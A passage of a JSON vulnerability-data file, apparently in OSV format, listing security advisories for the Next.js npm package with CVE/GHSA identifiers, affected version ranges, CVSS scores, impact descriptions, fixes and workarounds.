"aliases": [
|
||
"CVE-2025-29927",
|
||
"GHSA-f82v-jwr5-mffw"
|
||
],
|
||
"max_severity": "9.1"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-ffhc-5mcf-pf4q"
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-44581",
|
||
"GHSA-ffhc-5mcf-pf4q"
|
||
],
|
||
"max_severity": "4.7"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-g5qg-72qw-gw5v"
|
||
],
|
||
"aliases": [
|
||
"CVE-2025-57752",
|
||
"GHSA-g5qg-72qw-gw5v"
|
||
],
|
||
"max_severity": "6.2"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-g77x-44xx-532m"
|
||
],
|
||
"aliases": [
|
||
"CVE-2024-47831",
|
||
"GHSA-g77x-44xx-532m"
|
||
],
|
||
"max_severity": "5.9"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-ggv3-7p47-pfv8"
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-29057",
|
||
"GHSA-ggv3-7p47-pfv8"
|
||
],
|
||
"max_severity": "6.3"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-gp8f-8m3g-qvj9"
|
||
],
|
||
"aliases": [
|
||
"CVE-2024-46982",
|
||
"GHSA-gp8f-8m3g-qvj9"
|
||
],
|
||
"max_severity": "8.7"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-gx5p-jg67-6x7h"
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-44580",
|
||
"GHSA-gx5p-jg67-6x7h"
|
||
],
|
||
"max_severity": "6.1"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-h25m-26qc-wcjf"
|
||
],
|
||
"aliases": [
|
||
"GHSA-h25m-26qc-wcjf"
|
||
],
|
||
"max_severity": "7.5"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-h64f-5h5j-jqjh"
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-44577",
|
||
"GHSA-h64f-5h5j-jqjh"
|
||
],
|
||
"max_severity": "5.9"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-mwv6-3258-q52c"
|
||
],
|
||
"aliases": [
|
||
"GHSA-mwv6-3258-q52c"
|
||
],
|
||
"max_severity": "7.5"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-q4gf-8mx6-v5v3"
|
||
],
|
||
"aliases": [
|
||
"GHSA-q4gf-8mx6-v5v3"
|
||
],
|
||
"max_severity": "7.5"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-qpjv-v59x-3qc4"
|
||
],
|
||
"aliases": [
|
||
"CVE-2025-32421",
|
||
"GHSA-qpjv-v59x-3qc4"
|
||
],
|
||
"max_severity": "3.7"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-vfv6-92ff-j949"
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-44582",
|
||
"GHSA-vfv6-92ff-j949"
|
||
],
|
||
"max_severity": "3.7"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-wfc6-r584-vfw7"
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-44576",
|
||
"GHSA-wfc6-r584-vfw7"
|
||
],
|
||
"max_severity": "5.4"
|
||
},
|
||
{
|
||
"ids": [
|
||
"GHSA-xv57-4mr9-wg8v"
|
||
],
|
||
"aliases": [
|
||
"CVE-2025-55173",
|
||
"GHSA-xv57-4mr9-wg8v"
|
||
],
|
||
"max_severity": "4.3"
|
||
}
|
||
],
|
||
"vulnerabilities": [
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-36qx-fr4f-26g5/GHSA-36qx-fr4f-26g5.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "12.2.0"
|
||
},
|
||
{
|
||
"fixed": "15.5.16"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-36qx-fr4f-26g5/GHSA-36qx-fr4f-26g5.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "16.0.0"
|
||
},
|
||
{
|
||
"fixed": "16.2.5"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-44573"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-863"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-05-11T15:53:51Z",
|
||
"nvd_published_at": "2026-05-13T17:16:22Z",
|
||
"severity": "HIGH"
|
||
},
|
||
"details": "### Impact\n\nApplications using the Pages Router with `i18n` configured and middleware/proxy-based authorization can allow unauthorized access to protected page data through locale-less `/_next/data/\u003cbuildId\u003e/\u003cpage\u003e.json` requests. In affected configurations, middleware does not run for the unprefixed data route, allowing an attacker to retrieve SSR JSON for protected pages without passing the intended authorization checks.\n\n### Fix\nThe matcher logic was updated to perform the same match as it would on a non-i18n data route.\n\n### Workarounds\n\nIf you cannot upgrade immediately, enforce authorization in the page's server-side data path instead of relying solely on middleware.",
|
||
"id": "GHSA-36qx-fr4f-26g5",
|
||
"modified": "2026-05-14T20:48:35.793560Z",
|
||
"published": "2026-05-11T15:53:51Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/security/advisories/GHSA-36qx-fr4f-26g5"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44573"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/vercel/next.js"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/releases/tag/v15.5.16"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/releases/tag/v16.2.5"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-cr3j-6m49-fw86"
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "Next.js has a Middleware / Proxy bypass in Pages Router applications using i18n"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-3g8h-86w9-wvmq/GHSA-3g8h-86w9-wvmq.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "12.2.0"
|
||
},
|
||
{
|
||
"fixed": "15.5.16"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-3g8h-86w9-wvmq/GHSA-3g8h-86w9-wvmq.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "16.0.0"
|
||
},
|
||
{
|
||
"fixed": "16.2.5"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-44572"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-349"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-05-11T16:12:07Z",
|
||
"nvd_published_at": "2026-05-13T16:16:58Z",
|
||
"severity": "LOW"
|
||
},
|
||
"details": "### Impact\n\nNext.js uses the `x-nextjs-data` request header for internal data requests. On affected versions, an external client could send this header on a normal request to a path handled by middleware that returns a redirect.\n\nWhen that happened, the middleware/proxy could treat the request as a data request and replace the standard `Location` redirect header with the internal `x-nextjs-redirect` header. Browsers do not follow `x-nextjs-redirect`, so the response became an unusable redirect for normal clients.\n\nIf the application was deployed behind a CDN or reverse proxy that caches 3xx responses without varying on this header, a single attacker request could poison the cached redirect response for the affected path. Subsequent visitors could then receive a cached redirect response without a `Location` header, causing a denial of service for that redirect path until the cache entry expired or was purged.\n\n### Affected scenarios\n\nThis affects applications that:\n- use middleware or proxy redirects\n- are deployed behind a caching CDN or reverse proxy\n- allow 3xx responses on those paths to be cached without differentiating internal data requests from normal requests\n\n### Fix\n\nThe fix stops trusting `x-nextjs-data` by itself for middleware redirect handling. A request is now treated as an internal data request only when it is validated as such by internal routing state, preserving legitimate data-request redirect behavior while preventing external header injection from changing normal redirect responses.\n\n### Workarounds\n\nBefore upgrading, users can reduce risk by:\n- configuring the CDN or reverse proxy to vary its cache key on `x-nextjs-data` for affected responses",
|
||
"id": "GHSA-3g8h-86w9-wvmq",
|
||
"modified": "2026-05-14T20:48:38.453205Z",
|
||
"published": "2026-05-11T16:12:07Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/security/advisories/GHSA-3g8h-86w9-wvmq"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44572"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/vercel/next.js"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/releases/tag/v15.5.16"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/releases/tag/v16.2.5"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-pq86-cv7v-xxgf"
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "Next.js's Middleware / Proxy redirects can be cache-poisoned"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/05/GHSA-3h52-269p-cp9r/GHSA-3h52-269p-cp9r.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "15.0.0"
|
||
},
|
||
{
|
||
"fixed": "15.2.2"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/05/GHSA-3h52-269p-cp9r/GHSA-3h52-269p-cp9r.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "13.0"
|
||
},
|
||
{
|
||
"fixed": "14.2.30"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2025-48068"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-1385"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2025-05-28T21:52:13Z",
|
||
"nvd_published_at": "2025-05-30T04:15:48Z",
|
||
"severity": "LOW"
|
||
},
|
||
"details": "## Summary\n\nA low-severity vulnerability in **Next.js** has been fixed in **version 15.2.2**. This issue may have allowed limited source code exposure when the dev server was running with the App Router enabled. The vulnerability only affects local development environments and requires the user to visit a malicious webpage while `npm run dev` is active.\n\nBecause the mitigation is potentially a breaking change for some development setups, to opt-in to the fix, you must configure `allowedDevOrigins` in your next config after upgrading to a patched version. [Learn more](https://nextjs.org/docs/app/api-reference/config/next-config-js/allowedDevOrigins).\n\nLearn more: https://vercel.com/changelog/cve-2025-48068\n\n## Credit\n\nThanks to [sapphi-red](https://github.com/sapphi-red) and [Radman Siddiki](https://github.com/R4356th) for responsibly disclosing this issue.",
|
||
"id": "GHSA-3h52-269p-cp9r",
|
||
"modified": "2025-06-13T14:41:21Z",
|
||
"published": "2025-05-28T21:52:13Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/security/advisories/GHSA-3h52-269p-cp9r"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48068"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/vercel/next.js"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://vercel.com/changelog/cve-2025-48068"
|
||
}
|
||
],
|
||
"schema_version": "1.7.3",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N",
|
||
"type": "CVSS_V4"
|
||
}
|
||
],
|
||
"summary": "Information exposure in Next.js dev server due to lack of origin verification"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-3x4c-7xq6-9pq8/GHSA-3x4c-7xq6-9pq8.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "16.0.0-beta.0"
|
||
},
|
||
{
|
||
"fixed": "16.1.7"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-3x4c-7xq6-9pq8/GHSA-3x4c-7xq6-9pq8.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "10.0.0"
|
||
},
|
||
{
|
||
"fixed": "15.5.14"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-27980"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-400"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-03-17T16:17:06Z",
|
||
"nvd_published_at": "2026-03-18T01:16:04Z",
|
||
"severity": "MODERATE"
|
||
},
|
||
"details": "## Summary\nThe default Next.js image optimization disk cache (`/_next/image`) did not have a configurable upper bound, allowing unbounded cache growth.\n\n## Impact\nAn attacker could generate many unique image-optimization variants and exhaust disk space, causing denial of service. Note that this does not impact platforms that have their own image optimization capabilities, such as Vercel.\n\n## Patches\nFixed by adding an LRU-backed disk cache with `images.maximumDiskCacheSize`, including eviction of least-recently-used entries when the limit is exceeded. Setting `maximumDiskCacheSize: 0` disables disk caching. \n\n## Workarounds\nIf upgrade is not immediately possible:\n- Periodically clean `.next/cache/images`.\n- Reduce variant cardinality (e.g., tighten values for `images.localPatterns`, `images.remotePatterns`, and `images.qualities`)",
|
||
"id": "GHSA-3x4c-7xq6-9pq8",
|
||
"modified": "2026-03-20T14:59:12.698482Z",
|
||
"published": "2026-03-17T16:17:06Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/security/advisories/GHSA-3x4c-7xq6-9pq8"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27980"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/commit/39eb8e0ac498b48855a0430fbf4c22276a73b4bd"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/vercel/next.js"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/releases/tag/v16.1.7"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-3h3v-gc7q-fgxv"
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
|
||
"type": "CVSS_V4"
|
||
}
|
||
],
|
||
"summary": "Next.js: Unbounded next/image disk cache growth can exhaust storage"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-4342-x723-ch2f/GHSA-4342-x723-ch2f.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "0.9.9"
|
||
},
|
||
{
|
||
"fixed": "14.2.32"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-4342-x723-ch2f/GHSA-4342-x723-ch2f.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "15.0.0-canary.0"
|
||
},
|
||
{
|
||
"fixed": "15.4.7"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2025-57822"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-918"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2025-08-29T21:33:09Z",
|
||
"nvd_published_at": "2025-08-29T22:15:32Z",
|
||
"severity": "MODERATE"
|
||
},
|
||
"details": "A vulnerability in **Next.js Middleware** has been fixed in **v14.2.32** and **v15.4.7**. The issue occurred when request headers were directly passed into `NextResponse.next()`. In self-hosted applications, this could allow Server-Side Request Forgery (SSRF) if certain sensitive headers from the incoming request were reflected back into the response.\n\nAll users implementing custom middleware logic in self-hosted environments are strongly encouraged to upgrade and verify correct usage of the `next()` function.\n\nMore details at [Vercel Changelog](https://vercel.com/changelog/cve-2025-57822)",
|
||
"id": "GHSA-4342-x723-ch2f",
|
||
"modified": "2026-02-04T04:20:45.658010Z",
|
||
"published": "2025-08-29T21:33:09Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/security/advisories/GHSA-4342-x723-ch2f"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57822"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/commit/9c9aaed5bb9338ef31b0517ccf0ab4414f2093d8"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/vercel/next.js"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://vercel.com/changelog/cve-2025-57822"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-wpvj-5hjh-p49g"
|
||
],
|
||
"schema_version": "1.7.3",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "Next.js Improper Middleware Redirect Handling Leads to SSRF"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-5j59-xgg2-r9c4/GHSA-5j59-xgg2-r9c4.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "13.3.1-canary.0"
|
||
},
|
||
{
|
||
"fixed": "14.2.35"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-5j59-xgg2-r9c4/GHSA-5j59-xgg2-r9c4.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "15.0.6"
|
||
},
|
||
{
|
||
"fixed": "15.0.7"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-5j59-xgg2-r9c4/GHSA-5j59-xgg2-r9c4.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "15.1.10"
|
||
},
|
||
{
|
||
"fixed": "15.1.11"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-5j59-xgg2-r9c4/GHSA-5j59-xgg2-r9c4.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "15.2.7"
|
||
},
|
||
{
|
||
"fixed": "15.2.8"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-5j59-xgg2-r9c4/GHSA-5j59-xgg2-r9c4.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "15.3.7"
|
||
},
|
||
{
|
||
"fixed": "15.3.8"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-5j59-xgg2-r9c4/GHSA-5j59-xgg2-r9c4.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "15.4.9"
|
||
},
|
||
{
|
||
"fixed": "15.4.10"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-5j59-xgg2-r9c4/GHSA-5j59-xgg2-r9c4.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "15.5.8"
|
||
},
|
||
{
|
||
"fixed": "15.5.9"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-5j59-xgg2-r9c4/GHSA-5j59-xgg2-r9c4.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "15.6.0-canary.59"
|
||
},
|
||
{
|
||
"fixed": "15.6.0-canary.60"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-5j59-xgg2-r9c4/GHSA-5j59-xgg2-r9c4.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "16.0.9"
|
||
},
|
||
{
|
||
"fixed": "16.0.10"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-5j59-xgg2-r9c4/GHSA-5j59-xgg2-r9c4.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "16.1.0-canary.17"
|
||
},
|
||
{
|
||
"fixed": "16.1.0-canary.19"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-1395",
|
||
"CWE-400",
|
||
"CWE-502"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2025-12-12T17:21:57Z",
|
||
"nvd_published_at": "2025-12-12T00:15:46Z",
|
||
"severity": "HIGH"
|
||
},
|
||
"details": "It was discovered that the fix for [CVE-2025-55184](https://github.com/advisories/GHSA-2m3v-v2m8-q956) in React Server Components was incomplete and did not fully mitigate denial-of-service conditions across all payload types. As a result, certain crafted inputs could still trigger excessive resource consumption. \n\nThis vulnerability affects React versions 19.0.2, 19.1.3, and 19.2.2, as well as frameworks that bundle or depend on these versions, including Next.js 13.x, 14.x, 15.x, and 16.x when using the App Router. The issue is tracked upstream as [CVE-2025-67779](https://www.cve.org/CVERecord?id=CVE-2025-67779).\n\nA malicious actor can send a specially crafted HTTP request to a Server Function endpoint that, when deserialized, causes the React Server Components runtime to enter an infinite loop. This can lead to sustained CPU consumption and cause the affected server process to become unresponsive, resulting in a denial-of-service condition in unpatched environments.",
|
||
"id": "GHSA-5j59-xgg2-r9c4",
|
||
"modified": "2026-02-04T02:46:38.768104Z",
|
||
"published": "2025-12-12T17:21:57Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/security/advisories/GHSA-5j59-xgg2-r9c4"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67779"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/vercel/next.js"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://nextjs.org/blog/security-update-2025-12-11"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://react.dev/blog/2025/12/11/denial-of-service-and-source-code-exposure-in-react-server-components"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://www.cve.org/CVERecord?id=CVE-2025-55184"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://www.facebook.com/security/advisories/cve-2025-67779"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-67jq-q47w-r3w9"
|
||
],
|
||
"schema_version": "1.7.3",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "Next has a Denial of Service with Server Components - Incomplete Fix Follow-Up"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/12/GHSA-7gfc-8cq8-jh5f/GHSA-7gfc-8cq8-jh5f.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "9.5.5"
|
||
},
|
||
{
|
||
"fixed": "14.2.15"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2024-51479"
|
||
],
|
||
"database_specific": {
|
